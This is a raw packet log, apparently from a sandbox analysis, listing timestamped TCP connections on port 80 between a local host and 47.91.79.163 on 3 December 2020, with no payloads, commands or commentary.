Dec 3, 2020 10:03:34.444473028 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.447921038 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.464518070 CET	80	49901	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.464618921 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.481118917 CET	80	49901	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.507785082 CET	80	49901	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.508305073 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.508384943 CET	49901	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.524950027 CET	80	49901	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.922318935 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.938940048 CET	80	49902	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.939053059 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.942137957 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.958781958 CET	80	49902	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:34.958951950 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:34.975507021 CET	80	49902	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.009032011 CET	80	49902	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.009172916 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.009282112 CET	49902	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.025738955 CET	80	49902	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.483750105 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.500349045 CET	80	49903	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.500478983 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.504308939 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.520817995 CET	80	49903	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.520961046 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.537514925 CET	80	49903	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.563085079 CET	80	49903	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:35.563287020 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.563350916 CET	49903	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:35.581537962 CET	80	49903	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.020064116 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.036700010 CET	80	49904	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.036894083 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.040003061 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.056606054 CET	80	49904	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.061310053 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.077914953 CET	80	49904	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.106219053 CET	80	49904	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.106511116 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.106553078 CET	49904	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.124409914 CET	80	49904	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.586937904 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.603502989 CET	80	49905	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.603683949 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.607418060 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.623941898 CET	80	49905	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.624034882 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.640394926 CET	80	49905	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.665095091 CET	80	49905	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:36.665196896 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.665235043 CET	49905	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:36.685022116 CET	80	49905	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.075289011 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.091967106 CET	80	49906	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.092070103 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.095773935 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.112507105 CET	80	49906	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.112641096 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.129200935 CET	80	49906	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.155846119 CET	80	49906	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.155961990 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.155989885 CET	49906	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.172565937 CET	80	49906	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.615430117 CET	49907	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.631964922 CET	80	49907	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.632668018 CET	49907	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.635993004 CET	49907	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.652502060 CET	80	49907	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.652589083 CET	49907	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.669096947 CET	80	49907	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.696413994 CET	80	49907	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:37.696573973 CET	49907	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:37.713100910 CET	80	49907	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.118010044 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.134455919 CET	80	49908	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.134552956 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.137931108 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.154351950 CET	80	49908	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.154437065 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.170846939 CET	80	49908	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.195617914 CET	80	49908	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.196077108 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.196108103 CET	49908	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.212923050 CET	80	49908	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.594995975 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.611490011 CET	80	49909	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.611610889 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.614969969 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.631398916 CET	80	49909	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.631479979 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.647847891 CET	80	49909	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.673676014 CET	80	49909	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:38.673759937 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.673799992 CET	49909	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:38.690191984 CET	80	49909	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.134399891 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.150909901 CET	80	49910	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.151066065 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.153875113 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.170372963 CET	80	49910	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.170475006 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.186924934 CET	80	49910	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.215094090 CET	80	49910	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.215276003 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.215312004 CET	49910	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.232204914 CET	80	49910	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.661864996 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.678365946 CET	80	49911	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.682693005 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.682728052 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.701193094 CET	80	49911	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.701303005 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.717727900 CET	80	49911	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.788075924 CET	80	49911	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.788192034 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.788269997 CET	49911	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:39.804662943 CET	80	49911	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:39.992027998 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.008662939 CET	80	49912	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.008789062 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.012777090 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.029359102 CET	80	49912	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.029597998 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.046108007 CET	80	49912	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.177683115 CET	80	49912	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.177820921 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.177850962 CET	49912	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.194638968 CET	80	49912	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.386708021 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.403280973 CET	80	49913	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.403374910 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.407026052 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.423602104 CET	80	49913	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.423697948 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.440251112 CET	80	49913	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.478810072 CET	80	49913	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.478910923 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.478939056 CET	49913	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.495533943 CET	80	49913	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.673655987 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.690227985 CET	80	49914	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.690562963 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.694808006 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.711411953 CET	80	49914	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.712263107 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.728822947 CET	80	49914	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.754847050 CET	80	49914	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.754954100 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.755023956 CET	49914	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.771481037 CET	80	49914	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.946434975 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.963020086 CET	80	49915	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.963167906 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.969554901 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:40.986084938 CET	80	49915	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:40.986166000 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.002655983 CET	80	49915	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.031966925 CET	80	49915	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.032083035 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.032120943 CET	49915	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.049870014 CET	80	49915	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.239315033 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.255867004 CET	80	49916	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.256015062 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.260654926 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.277282000 CET	80	49916	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.277364016 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.293895960 CET	80	49916	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.322047949 CET	80	49916	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.322201967 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.322268009 CET	49916	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.339951038 CET	80	49916	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.530148983 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.546787024 CET	80	49917	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.547065020 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.552180052 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.568758965 CET	80	49917	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.568866014 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.585431099 CET	80	49917	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.623253107 CET	80	49917	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.623450994 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.623509884 CET	49917	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.640084028 CET	80	49917	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.818619013 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.835210085 CET	80	49918	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.835314989 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.839242935 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.855783939 CET	80	49918	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.855907917 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.872340918 CET	80	49918	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.890985966 CET	80	49918	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:41.891154051 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.891199112 CET	49918	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:41.907661915 CET	80	49918	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.107175112 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.123816967 CET	80	49919	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.123994112 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.127760887 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.144531012 CET	80	49919	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.144725084 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.161345005 CET	80	49919	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.191509962 CET	80	49919	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.191715956 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.192018032 CET	49919	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.208528996 CET	80	49919	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.774985075 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.791593075 CET	80	49920	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.791747093 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.798963070 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.815613031 CET	80	49920	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.815699100 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.832240105 CET	80	49920	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.862196922 CET	80	49920	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:42.862329006 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.862380981 CET	49920	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:42.879441023 CET	80	49920	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.076294899 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.093023062 CET	80	49921	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.093275070 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.096434116 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.113033056 CET	80	49921	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.113145113 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.129918098 CET	80	49921	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.192491055 CET	80	49921	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.192606926 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.192665100 CET	49921	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.209357023 CET	80	49921	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.388457060 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.405009985 CET	80	49922	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.405129910 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.408715963 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.425215006 CET	80	49922	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.425293922 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.441777945 CET	80	49922	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.473149061 CET	80	49922	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.473233938 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.473270893 CET	49922	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.489788055 CET	80	49922	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.665395975 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.681745052 CET	80	49923	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.681843042 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.685041904 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.701466084 CET	80	49923	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.701520920 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.717880011 CET	80	49923	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.770551920 CET	80	49923	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.770643950 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.770673037 CET	49923	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:43.790450096 CET	80	49923	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:43.986274958 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.002965927 CET	80	49924	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.003129959 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.011090994 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.027614117 CET	80	49924	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.027739048 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.044214964 CET	80	49924	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.159611940 CET	80	49924	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.159729958 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.159791946 CET	49924	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.176281929 CET	80	49924	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.376157999 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.392738104 CET	80	49925	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.392915010 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.400609970 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.417263031 CET	80	49925	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.417494059 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.434123039 CET	80	49925	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.459861040 CET	80	49925	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.460004091 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.460170984 CET	49925	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.476636887 CET	80	49925	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.648623943 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.665169954 CET	80	49926	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.665406942 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.672941923 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.689421892 CET	80	49926	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.689538956 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.705857992 CET	80	49926	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.739666939 CET	80	49926	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.739844084 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.739877939 CET	49926	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.756625891 CET	80	49926	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.949027061 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.965645075 CET	80	49927	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.965737104 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.968765974 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:44.985347033 CET	80	49927	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:44.985562086 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.002038002 CET	80	49927	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.026278019 CET	80	49927	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.026402950 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.026495934 CET	49927	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.042958021 CET	80	49927	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.229686975 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.246268034 CET	80	49928	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.246541023 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.253695011 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.270313978 CET	80	49928	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.270554066 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.287137985 CET	80	49928	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.313153028 CET	80	49928	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.313399076 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.313451052 CET	49928	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.330055952 CET	80	49928	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.742595911 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.759243011 CET	80	49929	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.759371996 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.764949083 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.781431913 CET	80	49929	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.781553984 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.798069000 CET	80	49929	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.849649906 CET	80	49929	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:45.849802017 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.849931002 CET	49929	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:45.866389990 CET	80	49929	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.299685001 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.316400051 CET	80	49930	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.316512108 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.322025061 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.338599920 CET	80	49930	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.338753939 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.355356932 CET	80	49930	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.379667044 CET	80	49930	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.379859924 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.379937887 CET	49930	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.396439075 CET	80	49930	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.773808956 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.790533066 CET	80	49931	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.790705919 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.794392109 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.810960054 CET	80	49931	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.811038017 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.827711105 CET	80	49931	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.855204105 CET	80	49931	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:46.855278015 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.855338097 CET	49931	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:46.871900082 CET	80	49931	47.91.79.163	192.168.2.3
Dec 3, 2020 10:03:47.297133923 CET	49932	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:03:47.314032078 CET	80	49932	47.91.79.163	192.168.2.3
